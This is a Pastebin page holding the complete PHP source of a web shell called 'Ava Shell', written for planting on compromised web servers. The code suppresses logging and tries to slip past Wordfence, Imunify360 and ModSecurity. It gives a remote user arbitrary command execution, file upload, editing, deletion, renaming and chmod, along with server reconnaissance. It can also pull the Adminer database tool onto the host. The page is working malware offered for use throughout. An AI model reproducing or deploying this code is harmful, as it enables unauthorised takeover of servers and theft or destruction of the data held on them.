Advertisement
willysec_id

Ava Shell

Dec 22nd, 2023
1,375
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 24.28 KB | Cybersecurity | 0 0
  1. <?php
  2. @ini_set('error_log', NULL);
  3. @ini_set('log_errors', 0);
  4. @ini_set('max_execution_time', 0);
  5. @error_reporting(0);
  6. @set_time_limit(0);
  7. @ob_clean();
  8. @header("X-Accel-Buffering: no");
  9. @header("Content-Encoding: none");
  10. @http_response_code(403);
  11. @http_response_code(404);
  12. @http_response_code(500);
  13.  
  14. if (function_exists('litespeed_request_headers')) {
  15.     $headers = litespeed_request_headers();
  16.     if (isset($headers['X-LSCACHE'])) {
  17.         header('X-LSCACHE: off');
  18.     }
  19. }
  20.  
  21. if (defined('WORDFENCE_VERSION')) {
  22.     define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
  23.     define('WORDFENCE_DISABLE_FILE_MODS', true);
  24. }
  25.  
  26. if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
  27.     $imunifyHeaders = imunify360_request_headers();
  28.     if (isset($imunifyHeaders['X-Imunify360-Request'])) {
  29.         header('X-Imunify360-Request: bypass');
  30.     }
  31.     if (isset($imunifyHeaders['X-Imunify360-Captcha-Bypass'])) {
  32.         header('X-Imunify360-Captcha-Bypass: ' . $imunifyHeaders['X-Imunify360-Captcha-Bypass']);
  33.     }
  34. }
  35.  
  36. if (function_exists('apache_request_headers')) {
  37.     $apacheHeaders = apache_request_headers();
  38.     if (isset($apacheHeaders['X-Mod-Security'])) {
  39.         header('X-Mod-Security: ' . $apacheHeaders['X-Mod-Security']);
  40.     }
  41. }
  42.  
  43. if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
  44.     $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
  45.     if (isset($apacheHeaders['HTTP_CF_VISITOR'])) {
  46.         header('HTTP_CF_VISITOR: ' . $apacheHeaders['HTTP_CF_VISITOR']);
  47.     }
  48. }
  49. ?>
  50. <!DOCTYPE html>
  51. <html>
  52. <head>
  53.     <style>
  54.         body {
  55.             font-family: Arial, sans-serif;
  56.             background-color: #f2f2f2;
  57.             margin: 0;
  58.             padding: 0;
  59.         }
  60.         .container {
  61.             max-width: 800px;
  62.             margin: 20px auto;
  63.             padding: 20px;
  64.             border: 1px solid #ccc;
  65.             border-radius: 5px;
  66.             box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  67.             background-color: #fff;
  68.             position: relative;
  69.         }
  70.         .footer {
  71.             text-align: center;
  72.             max-width: 800px;
  73.             position: relative;
  74.             background-color: #fff;
  75.             border: 1px solid #ccc;
  76.             padding: 20px;
  77.             margin: 20px auto;
  78.         }
  79.         .message-container {
  80.             max-width: 800px;
  81.             margin: 20px auto;
  82.             padding: 20px;
  83.             border: 1px solid #ccc;
  84.             border-radius: 5px;
  85.             box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  86.             background-color: #fff;
  87.             position: relative;
  88.         }
  89.         h1 {
  90.             text-align: center;
  91.         }
  92.         .button-container {
  93.             display: flex;
  94.             justify-content: space-between;
  95.             align-items: center;
  96.             margin-top: 20px;
  97.         }
  98.         .empty-button {
  99.             background: none;
  100.             border: none;
  101.             color: transparent;
  102.             cursor: pointer;
  103.             padding: 0;
  104.             outline: none;
  105.  
  106.         }
  107.         table {
  108.             width: 100%;
  109.             border-collapse: collapse;
  110.             margin-top: 20px;
  111.         }
  112.         table th, table td {
  113.             padding: 10px;
  114.             border: 1px solid #ccc;
  115.         }
  116.         table th {
  117.             background-color: #f2f2f2;
  118.             font-weight: bold;
  119.         }
  120.         .sidebar {
  121.             position: fixed;
  122.             top: 0;
  123.             margin: 20px auto;
  124.             padding: 20px;
  125.             right: -300px;
  126.             width: 300px;
  127.             height: 100%;
  128.             background-color: #f2f2f2;
  129.             box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  130.             transition: right 0.3s ease-in-out;
  131.         }
  132.         .sidebar.open {
  133.             right: 0;
  134.         }
  135.         .sidebar-content {
  136.             padding: 20px;
  137.         }
  138.         .sidebar-close {
  139.             text-align: right;
  140.             margin-bottom: 20px;
  141.         }
  142.         .sidebar-close button {
  143.             padding: 5px 10px;
  144.             border: none;
  145.             background-color: #ccc;
  146.             color: #fff;
  147.             cursor: pointer;
  148.         }
  149.         .menu-icon {
  150.             position: absolute;
  151.             top: 20px;
  152.             right: 20px;
  153.             width: 30px;
  154.             height: 30px;
  155.             background-color: #ccc;
  156.             border-radius: 50%;
  157.             cursor: pointer;
  158.             display: flex;
  159.             justify-content: center;
  160.             align-items: center;
  161.         }
  162.  
  163.         .menu-icon::before,
  164.         .menu-icon::after {
  165.             content: "";
  166.             position: absolute;
  167.             width: 20px;
  168.             height: 2px;
  169.             background-color: #fff;
  170.             transition: transform 0.3s ease-in-out;
  171.         }
  172.  
  173.         .menu-icon::before {
  174.             transform: translateY(-6px);
  175.         }
  176.  
  177.         .menu-icon::after {
  178.             transform: translateY(6px);
  179.         }
  180.  
  181.         .menu-icon.open::before {
  182.             transform: translateY(0px) rotate(45deg);
  183.         }
  184.  
  185.         .menu-icon.open::after {
  186.             transform: translateY(0px) rotate(-45deg);
  187.         }
  188.  
  189.         .sidebar h2 {
  190.             margin-top: 0;
  191.         }
  192.  
  193.         .info-list {
  194.             list-style: none;
  195.             padding: 0;
  196.         }
  197.  
  198.         .info-list li {
  199.             margin-bottom: 10px;
  200.         }
  201.  
  202.         .info-list li:last-child {
  203.             margin-bottom: 0;
  204.         }
  205.  
  206.         .sidebar .info-container {
  207.             margin-bottom: 20px;
  208.         }
  209.     </style>
  210. </head>
  211. <body>
  212.     <div class="container">
  213.         <h1>Avacostn - Moslem</h1>
  214.         <div class="menu-icon" onclick="toggleSidebar()"></div>
  215.         <hr>
  216.         <div class="button-container">
  217.             <div class="input-file">
  218.                 <label class="input-file-label" for="file-input">Choose File</label>
  219.                 <form action="" method="post" enctype="multipart/form-data">
  220.                     <input id="file-input" type="file" name="file" />
  221.                     <input class="button" type="submit" value="Upload" />
  222.                 </form>
  223.                 <?php
  224.                     $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
  225.                     $path = str_replace('\\', '/', $path);
  226.                     $paths = @explode('/', $path);
  227.                 ?>
  228.                 <hr>
  229.                 DIR : <a href="?path=/">Home</a>
  230.                 <?php
  231.                 foreach ($paths as $id => $pat) {
  232.                     if ($pat == '' && $id == 0) {
  233.                         echo '<a href="?path=/">/</a>';
  234.                         continue;
  235.                     }
  236.                     if ($pat == '') {
  237.                         continue;
  238.                     }
  239.                     $linkPath = implode('/', array_slice($paths, 0, $id + 1));
  240.                     echo "<a href=\"?path=$linkPath\">$pat</a>/";
  241.                 }
  242.                 ?>
  243.             </div>
  244.             <div class="input-summon">
  245.                 <form action="" method="post">
  246.                     <input type="hidden" name="summon" value="true" />
  247.                     <input class="button" type="submit" value="Summon" />
  248.                 </form>
  249.             </div>
  250.         </div>
  251.         <?php
  252.         if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['summon']) && $_POST['summon'] === 'true') {
  253.             $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php';
  254.             $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
  255.             $fileName = 'adminer.php';
  256.             $filePath = $path . '/' . $fileName;
  257.             $fileContent = @file_get_contents($baseUrl);
  258.             if ($fileContent !== false) {
  259.                 if (file_put_contents($filePath, $fileContent) !== false) {
  260.                     echo "<p>Summon successfully. $filePath .</p>";
  261.                 } else {
  262.                     echo "<p>Summon failed.</p>";
  263.                 }
  264.             } else {
  265.                 echo "<p>Failed to fetch the file content. None File</p>";
  266.             }
  267.         }
  268.         if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
  269.            
  270.             if ($_FILES['file']['size'] === 0) {
  271.                 echo "<p>Open Ur Eyes Bitch !!!.</p>";
  272.             } else {
  273.                 $uploadPath = $path . '/' . $_FILES['file']['name'];
  274.                 if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
  275.                     echo "<p>File uploaded successfully. $uploadPath .</p>";
  276.                 } else {
  277.                     echo "<p>File upload failed.</p>";
  278.                 }
  279.             }
  280.         }
  281.         ?>
  282.     </div>
  283.  
  284.     <div class="container">
  285.             <?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
  286.                 $cmdOutput = null;
  287.                 $cmd = $_POST['cmd'];
  288.                 $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
  289.                 $cmd = "cd " . escapeshellarg($path) . " && " . $cmd;
  290.                 if (function_exists('exec')) {
  291.                     @exec($cmd, $output, $returnVar);
  292.                     if ($returnVar === 0) {
  293.                         $cmdOutput = implode("\n", $output);
  294.                     }
  295.                 } elseif (function_exists('shell_exec')) {
  296.                     $cmdOutput = @shell_exec($cmd);
  297.                 } elseif (function_exists('passthru')) {
  298.                     ob_start();
  299.                    @passthru($cmd, $returnVar);
  300.                     $cmdOutput = ob_get_clean();
  301.                 } elseif (function_exists('system')) {
  302.                     ob_start();
  303.                     @system($cmd, $returnVar);
  304.                     $cmdOutput = ob_get_clean();
  305.                 }
  306.             }
  307.             ?>
  308.             <form method="POST" action="">
  309.                 <?php echo @get_current_user() . "@" . @gethostbyname($_SERVER['HTTP_HOST']) . ": ~ $"; ?><input type='text' size='30' height='10' name='cmd' placeholder='Enter a command...'>
  310.                  <input type="submit" class="empty-button">
  311.             </form>
  312.     </div>
  313.     <?php if (!empty($cmdOutput)) { ?>
  314.         <div class="message-container">
  315.             <pre><?php echo htmlspecialchars($cmdOutput); ?></pre>
  316.         </div>
  317.     <?php } ?>
  318.    <?php
  319.     if (isset($_GET['file'])) {
  320.     $file = $_GET['file'];
  321.     $filePath = $path . '/' . $file;
  322.     $fileContent = @file_get_contents($filePath);
  323.     if ($fileContent !== false) {
  324.         echo "<div class=\"message-container\">";
  325.         echo "<p>Edit File: $file</p>";
  326.         echo "<form method=\"POST\" action=\"\">";
  327.         echo "<input type=\"hidden\" name=\"edit\" value=\"true\">";
  328.         echo "<input type=\"hidden\" name=\"file\" value=\"$file\">";
  329.         echo "<textarea name=\"new_content\" rows=\"10\" cols=\"100\" placeholder=\"Enter new content...\">" . htmlspecialchars($fileContent) . "</textarea>";
  330.         echo "<input type=\"submit\" value=\"Edit\">";
  331.         echo "</form>";
  332.         echo "</div>";
  333.         }
  334.         }
  335.         ?>
  336.     <?php
  337.     if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['rename'])) {
  338.         $oldName = $_GET['rename'];
  339.         echo "<div class=\"message-container\">";
  340.         echo "<p>Rename : $oldName</p>";
  341.         echo "<form method=\"POST\" action=\"\">";
  342.         echo "<input type=\"hidden\" name=\"rename\" value=\"true\">";
  343.         echo "<input type=\"hidden\" name=\"old_name\" value=\"" . htmlspecialchars($oldName) . "\">";
  344.         echo "<input type=\"text\" name=\"new_name\" placeholder=\"Enter new name\" required>";
  345.         echo "<input type=\"submit\" value=\"Rename\">";
  346.         echo "</form>";
  347.         echo "</div>";
  348.         ?>
  349.     <?php } ?>
  350.         <?php
  351.         if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit']) && $_POST['edit'] === 'true') {
  352.             $editedFile = $_POST['file'];
  353.             $newContent = $_POST['new_content'];
  354.             $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
  355.             $filePath = $path . '/' . $editedFile;
  356.             if (file_put_contents($filePath, $newContent) !== false) {
  357.                 echo "<div class='message-container'><p>File saved successfully. $filePath </p>";
  358.             } else {
  359.                 echo "<p>Failed to save the file.</p></div>";
  360.             }
  361.         }
  362.         ?>    
  363.         <?php
  364.         if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename']) && $_POST['rename'] === 'true') {
  365.             $oldName = $_POST['old_name'];
  366.             $newName = $_POST['new_name'];
  367.             $newPath = $path . '/' . $newName;
  368.             $oldPath = $path . '/' . $oldName;
  369.            
  370.             if (rename($oldPath, $newPath)) {
  371.                 echo "<div class='message-container'><p>Renaming successful. $newName</p>";
  372.             } else {
  373.                 echo "<p>Failed to rename.</p></div>";
  374.             }
  375.         }
  376.         ?>
  377. <?php
  378. // ...
  379. if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['delete'])) {
  380.     $deletePath = $_GET['delete'];
  381.     $deletePath = str_replace('/', '', $deletePath); // Mencegah traversal path
  382.     $deletePath = $path . '/' . $deletePath;
  383.  
  384.     if (is_file($deletePath)) {
  385.         if (unlink($deletePath)) {
  386.             echo "<div class='message-container'><p>File deleted successfully: $deletePath</p></div>";
  387.         } else {
  388.             echo "<div class='message-container'><p>Failed to delete the file: $deletePath</p></div>";
  389.         }
  390.     } elseif (is_dir($deletePath)) {
  391.         if (rmdir($deletePath)) {
  392.             echo "<div class='message-container'><p>Folder deleted successfully: $deletePath</p></div>";
  393.         } else {
  394.             echo "<div class='message-container'><p>Failed to delete the folder: $deletePath</p></div>";
  395.         }
  396.     } else {
  397.         echo "<div class='message-container'><p>Invalid file or folder path: $deletePath</p></div>";
  398.     }
  399. }
  400. // ...
  401. ?>
  402. <?php
  403. if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['chmod'])) {
  404.     $chmodPath = $_GET['chmod'];
  405.     $chmodPath = str_replace('/', '', $chmodPath); // Mencegah traversal path
  406.     $chmodPath = $path . '/' . $chmodPath;
  407.    
  408.     if (is_file($chmodPath) || is_dir($chmodPath)) {
  409.         if (isset($_GET['mode']) && preg_match('/^[0-7]{3}$/', $_GET['mode'])) {
  410.             $mode = intval($_GET['mode'], 8);
  411.             if (chmod($chmodPath, $mode)) {
  412.                 echo "<div class='message-container'><p>Chmod successful: $chmodPath</p></div>";
  413.             } else {
  414.                 echo "<div class='message-container'><p>Failed to chmod: $chmodPath</p></div>";
  415.             }
  416.         } else {
  417.             $currentMode = fileperms($chmodPath) & 0777;
  418.             echo "<div class='message-container'>";
  419.             echo "<p>Chmod: $chmodPath</p>";
  420.             echo "<form method='GET' action=''>";
  421.             echo "<input type='hidden' name='path' value='$path'>";
  422.             echo "<input type='hidden' name='chmod' value='$chmodPath'>";
  423.             echo "<input type='text' name='mode' placeholder='Enter new mode (e.g., 755)' required>";
  424.             echo "<input type='submit' value='Chmod'>";
  425.             echo "</form>";
  426.             echo "<p>Current mode: $currentMode</p>";
  427.             echo "</div>";
  428.         }
  429.     } else {
  430.         echo "<div class='message-container'><p>Invalid file or folder path: $chmodPath</p></div>";
  431.     }
  432. }
  433. ?>
  434. </div>
  435.  
  436.     <div class="container">
  437.         <h2>Filemanager</h2>
  438.         <table>
  439.             <tr>
  440.                 <th>Name</th>
  441.                 <th>Size</th>
  442.                 <th>Permission</th>
  443.                 <th>Actions</th>
  444.  
  445.             </tr>
  446.             <?php
  447.             $scandir = @scandir($path);
  448.             if ($scandir !== false) {
  449.                 $folders = [];
  450.                 $files = [];
  451.                 foreach ($scandir as $file) {
  452.                     $filePath = "$path/$file";
  453.                     if (is_dir($filePath)) {
  454.                         $folders[] = $file;
  455.                     } else if (is_file($filePath)) {
  456.                         $size = filesize($filePath);
  457.                         $size = formatSizeUnits($size);
  458.                         $perms = fileperms($filePath);
  459.                         $permission = getPermissionString($perms);
  460.                         $files[$file] = [
  461.                             'size' => $size,
  462.                             'permission' => $permission
  463.                         ];
  464.                     }
  465.                 }
  466.                 foreach ($folders as $folder) {
  467.                     $folderPath = "$path/$folder";
  468.                     $folderPermissionColor = (is_writable($folderPath)) ? 'green' : 'red';
  469.                     ?>
  470.  
  471.                     <tr>
  472.     <td>
  473.         <a href="?path=<?php echo $folderPath; ?>"><?php echo $folder; ?></a>
  474.     </td>
  475.     <td>
  476.         <span style="color: <?php echo $folderPermissionColor; ?>"><?php echo getPermissionString(fileperms($folderPath)); ?></span>
  477.     </td>
  478.     <td>-</td>
  479.     <td>
  480.         <select onchange="folderDropdownAction(this.value, '<?php echo $path; ?>', '<?php echo $folder; ?>')">
  481.             <option value="" selected disabled>Actions</option>
  482.             <option value="rename">Rename</option>
  483.             <option value="delete">Delete</option>
  484.             <option value="chmod">Chmod</option>
  485.         </select>
  486.     </td>
  487. </tr>
  488.  
  489. <script>
  490.     function folderDropdownAction(action, path, folder) {
  491.         if (action === 'rename') {
  492.             window.location.href = "?path=" + path + "&rename=" + folder;
  493.         } else if (action === 'delete') {
  494.             var confirmation = confirm('Apakah Anda yakin ingin menghapus folder ini?');
  495.             if (confirmation) {
  496.                 window.location.href = "?path=" + path + "&delete=" + folder;
  497.             }
  498.         } else if (action === 'chmod') {
  499.             window.location.href = "?path=" + path + "&chmod=" + folder;
  500.         }
  501.     }
  502. </script>
  503.  
  504.                 <?php
  505.                 }
  506.  
  507.                 foreach ($files as $file => $data) {
  508.                     $filePermissionColor = (is_writable($path . '/' . $file)) ? 'green' : 'red';
  509.                     ?>
  510.                         <tr>
  511.     <td>
  512.         <a href="?path=<?php echo $path; ?>&file=<?php echo $file; ?>"><?php echo $file; ?></a>
  513.     </td>
  514.     <td><?php echo $data['size']; ?></td>
  515.     <td>
  516.         <span style="color: <?php echo $filePermissionColor; ?>"><?php echo $data['permission']; ?></span>
  517.     </td>
  518.     <td>
  519.         <select onchange="dropdownAction(this.value, '<?php echo $path; ?>', '<?php echo $file; ?>')">
  520.             <option value="" selected disabled>Actions</option>
  521.             <option value="edit">Edit</option>
  522.             <option value="delete">Delete</option>
  523.             <option value="chmod">Chmod</option>
  524.             <option value="rename">Rename</option>
  525.         </select>
  526.     </td>
  527. </tr>
  528.  
  529. <script>
  530.     function dropdownAction(action, path, file) {
  531.         if (action === 'edit') {
  532.             window.location.href = "?path=" + path + "&file=" + file;
  533.         } else if (action === 'delete') {
  534.             var confirmation = confirm('Apakah Anda yakin ingin menghapus file ini?');
  535.             if (confirmation) {
  536.                 window.location.href = "?path=" + path + "&delete=" + file;
  537.             }
  538.         } else if (action === 'chmod') {
  539.             window.location.href = "?path=" + path + "&chmod=" + file;
  540.         } else if (action === 'rename') {
  541.             window.location.href = "?path=" + path + "&rename=" + file;
  542.         }
  543.     }
  544. </script>
  545.  
  546.  
  547.                 <?php
  548.                 }
  549.             } else {
  550.                 echo "<tr><td colspan=\"4\">None Directory</td></tr>";
  551.             }
  552.  
  553.             function getPermissionString($perms)
  554.             {
  555.                 $info = '';
  556.  
  557.                 // Owner
  558.                 $info .= (($perms & 0x0100) ? 'r' : '-');
  559.                 $info .= (($perms & 0x0080) ? 'w' : '-');
  560.                 $info .= (($perms & 0x0040) ?
  561.                     (($perms & 0x0800) ? 's' : 'x') :
  562.                     (($perms & 0x0800) ? 'S' : '-'));
  563.  
  564.                 // Group
  565.                 $info .= (($perms & 0x0020) ? 'r' : '-');
  566.                 $info .= (($perms & 0x0010) ? 'w' : '-');
  567.                 $info .= (($perms & 0x0008) ?
  568.                     (($perms & 0x0400) ? 's' : 'x') :
  569.                     (($perms & 0x0400) ? 'S' : '-'));
  570.  
  571.                 // Other
  572.                 $info .= (($perms & 0x0004) ? 'r' : '-');
  573.                 $info .= (($perms & 0x0002) ? 'w' : '-');
  574.                 $info .= (($perms & 0x0001) ?
  575.                     (($perms & 0x0200) ? 't' : 'x') :
  576.                     (($perms & 0x0200) ? 'T' : '-'));
  577.  
  578.                 return $info;
  579.             }
  580.  
  581.             function formatSizeUnits($bytes)
  582.             {
  583.                 $units = array('bytes', 'KB', 'MB', 'GB');
  584.                 $index = 0;
  585.  
  586.                 while ($bytes >= 1024 && $index < 3) {
  587.                     $bytes /= 1024;
  588.                     $index++;
  589.                 }
  590.  
  591.                 return round($bytes, 2) . ' ' . $units[$index];
  592.             }
  593.             ?>
  594.         </table>
  595.     </div>
  596.     <div class="sidebar" id="sidebar">
  597.         <div class="sidebar-content">
  598.             <div class="sidebar-close">
  599.                 <button onclick="toggleSidebar()">Close</button>
  600.             </div>
  601.             <div class="info-container">
  602.                 <h2>Server Info</h2>
  603.                 <?php
  604.                 function countDomainsInServer() {
  605.                     $serverName = $_SERVER['SERVER_NAME'];
  606.                     $ipAddresses = @gethostbynamel($serverName);
  607.  
  608.                     if ($ipAddresses !== false) {
  609.                         return count($ipAddresses);
  610.                     } else {
  611.                         return 0;
  612.                     }
  613.                 }
  614.  
  615.                 $domainCount = @countDomainsInServer();
  616.                 function formatBytes($bytes, $precision = 2) {
  617.                     $units = array('B', 'KB', 'MB', 'GB', 'TB');
  618.  
  619.                     $bytes = max($bytes, 0);
  620.                     $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
  621.                     $pow = min($pow, count($units) - 1);
  622.  
  623.                     $bytes /= (1 << (10 * $pow));
  624.  
  625.                     return round($bytes, $precision) . ' ' . $units[$pow];
  626.                 }
  627.                 ?>
  628.                 <ul class="info-list">
  629.                     <li>Hostname: <?php echo @gethostname(); ?></li>
  630.                     <?php if (isset($_SERVER['SERVER_ADDR'])): ?>
  631.                         <li>IP Address: <?php echo $_SERVER['SERVER_ADDR']; ?></li>
  632.                     <?php endif; ?>
  633.                     <li>PHP Version: <?php echo @phpversion(); ?></li>
  634.                     <li>Server Software: <?php echo $_SERVER['SERVER_SOFTWARE']; ?></li>
  635.                     <?php if (function_exists('disk_total_space')): ?>
  636.                         <li>HDD Total Space: <?php echo @formatBytes(disk_total_space('/')); ?></li>
  637.                         <li>HDD Free Space: <?php echo @formatBytes(disk_free_space('/')); ?></li>
  638.                     <?php endif; ?>
  639.                     <li>Safe Mode: <?php echo @ini_get('safe_mode') ? 'Enabled' : 'Disabled'; ?></li>
  640.                     <li>Disable Functions: <?php echo @ini_get('disable_functions'); ?></li>
  641.                     <li>Total Domains in Server: <?php echo $domainCount; ?></li>
  642.                     <li>System: <?php echo @php_uname(); ?></li>
  643.                 </ul>
  644.             </div>
  645.             <div class="info-container">
  646.                 <h2>User Info</h2>
  647.                 <ul class="info-list">
  648.                     <li>Username: <?php echo @get_current_user(); ?></li>
  649.                     <li>User ID: <?php echo @getmyuid(); ?></li>
  650.                     <li>Group ID: <?php echo @getmygid(); ?></li>
  651.                 </ul>
  652.             </div>
  653.         </div>
  654.     </div>
  655.     <script>
  656.         function toggleOptionsMenu() {
  657.             var optionsMenu = document.getElementById('optionsMenu');
  658.             optionsMenu.classList.toggle('show');
  659.         }
  660.  
  661.         function toggleSidebar() {
  662.             var sidebar = document.getElementById('sidebar');
  663.             sidebar.classList.toggle('open');
  664.         }
  665.     </script>
  666. </div>
  667. <div class='footer'><p>&copy; <?php echo date('Y'); ?> <a href="https://www.blog-gan.org">Shin Code</a>. All rights reserved.</p>
  668. </div>
  669. </body>
  670. </html>
  671.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement